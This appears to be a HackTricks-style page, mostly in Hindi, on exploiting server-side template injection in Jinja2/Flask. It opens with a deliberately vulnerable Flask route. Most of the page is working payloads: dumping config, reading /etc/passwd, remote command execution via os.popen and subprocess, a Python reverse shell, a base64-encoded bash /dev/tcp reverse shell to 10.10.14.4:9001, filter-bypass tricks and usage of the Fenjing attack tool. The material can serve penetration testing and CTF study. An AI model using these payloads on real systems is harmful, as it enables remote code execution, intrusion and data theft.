from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Misc
Debug Statement
यदि Debug Extension सक्षम है, तो एक debug टैग उपलब्ध होगा जो वर्तमान संदर्भ के साथ-साथ उपलब्ध फ़िल्टर और परीक्षणों को डंप करेगा। यह टेम्पलेट में उपयोग के लिए उपलब्ध चीज़ों को देखने के लिए उपयोगी है बिना डिबगर सेटअप किए।
<pre>{% debug %}</pre>
सभी कॉन्फ़िगरेशन वेरिएबल्स को डंप करें
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injection
सबसे पहले, Jinja इंजेक्शन में आपको सैंडबॉक्स से बाहर निकलने का एक तरीका ढूंढना होगा और नियमित पायथन निष्पादन प्रवाह तक पहुंच प्राप्त करनी होगी। ऐसा करने के लिए, आपको वस्तुओं का दुरुपयोग करना होगा जो गैर-सैंडबॉक्स वातावरण से हैं लेकिन सैंडबॉक्स से सुलभ हैं।
Global Objects तक पहुंच
उदाहरण के लिए, कोड render_template("hello.html", username=username, email=email) में वस्तुएं username और email गैर-सैंडबॉक्स पायथन वातावरण से आती हैं और सैंडबॉक्स वातावरण के अंदर सुलभ होंगी।
इसके अलावा, अन्य वस्तुएं हैं जो हमेशा सैंडबॉक्स वातावरण से सुलभ होंगी, ये हैं:
[]
''
()
dict
config
request
Recovering <class 'object'>
फिर, इन ऑब्जेक्ट्स से हमें <class 'object'> क्लास तक पहुंचने की आवश्यकता है ताकि हम परिभाषित क्लासेस को recover करने की कोशिश कर सकें। इसका कारण यह है कि इस ऑब्जेक्ट से हम __subclasses__ मेथड को कॉल कर सकते हैं और non-sandboxed python env से सभी क्लासेस तक पहुंच सकते हैं।
उस ऑब्जेक्ट क्लास तक पहुंचने के लिए, आपको एक क्लास ऑब्जेक्ट तक पहुंचने की आवश्यकता है और फिर __base__, __mro__()[-1] या .mro()[-1] में से किसी एक तक पहुंचें। और फिर, इस ऑब्जेक्ट क्लास तक पहुंचने के बाद हम __subclasses__() को call करते हैं।
इन उदाहरणों को देखें:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Escaping
पुनर्प्राप्त करने के बाद<class 'object'> और __subclasses__ को कॉल करने के बाद, हम अब उन कक्षाओं का उपयोग फ़ाइलें पढ़ने और लिखने और कोड निष्पादित करने के लिए कर सकते हैं।
__subclasses__ को कॉल करने से हमें सैकड़ों नई कार्यक्षमताओं तक पहुँचने का अवसर मिला है, हम फ़ाइल कक्षा तक पहुँचकर फ़ाइलें पढ़ने/लिखने या किसी भी कक्षा तक पहुँचकर खुश होंगे जो कमांड निष्पादित करने की अनुमति देती है (जैसे os)।
रिमोट फ़ाइल पढ़ें/लिखें
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
अधिक कक्षाओं के बारे में जानने के लिए जिन्हें आप escape करने के लिए उपयोग कर सकते हैं, आप चेक कर सकते हैं:
फ़िल्टर बायपास
सामान्य बायपास
ये बायपास हमें access करने की अनुमति देंगे attributes के वस्तुओं के बिना कुछ वर्णों का उपयोग किए।
हमने पहले के उदाहरणों में इनमें से कुछ बायपास पहले ही देख लिए हैं, लेकिन आइए उन्हें यहाँ संक्षेप में प्रस्तुत करें:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
ग्लोबल ऑब्जेक्ट्स से RCE तक पहुँचने का एक और तरीका है बिना उस क्लास का उपयोग किए।
यदि आप उन ग्लोबल ऑब्जेक्ट्स में से किसी भी फंक्शन तक पहुँचने में सफल होते हैं, तो आप __globals__.__builtins__ तक पहुँच सकते हैं और वहाँ से RCE बहुत सरल है।
आप फंक्शंस को ऑब्जेक्ट्स request, config और किसी भी अन्य दिलचस्प ग्लोबल ऑब्जेक्ट से ढूंढ सकते हैं, जिन तक आपको पहुँच है:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
एक बार जब आप कुछ फ़ंक्शन ढूंढ लेते हैं, तो आप निम्नलिखित के साथ बिल्ट-इन्स को पुनर्प्राप्त कर सकते हैं:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid
Fuzzing WAF bypass
Fenjinghttps://github.com/Marven11/Fenjing एक उपकरण है जो CTFs पर विशेषीकृत है लेकिन वास्तविक परिदृश्य में अमान्य पैरामीटर को ब्रूटफोर्स करने के लिए भी उपयोगी हो सकता है। यह उपकरण बस शब्दों और प्रश्नों को छिड़कता है ताकि फ़िल्टर का पता लगाया जा सके, बायपास की खोज की जा सके, और एक इंटरैक्टिव कंसोल भी प्रदान करता है।
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
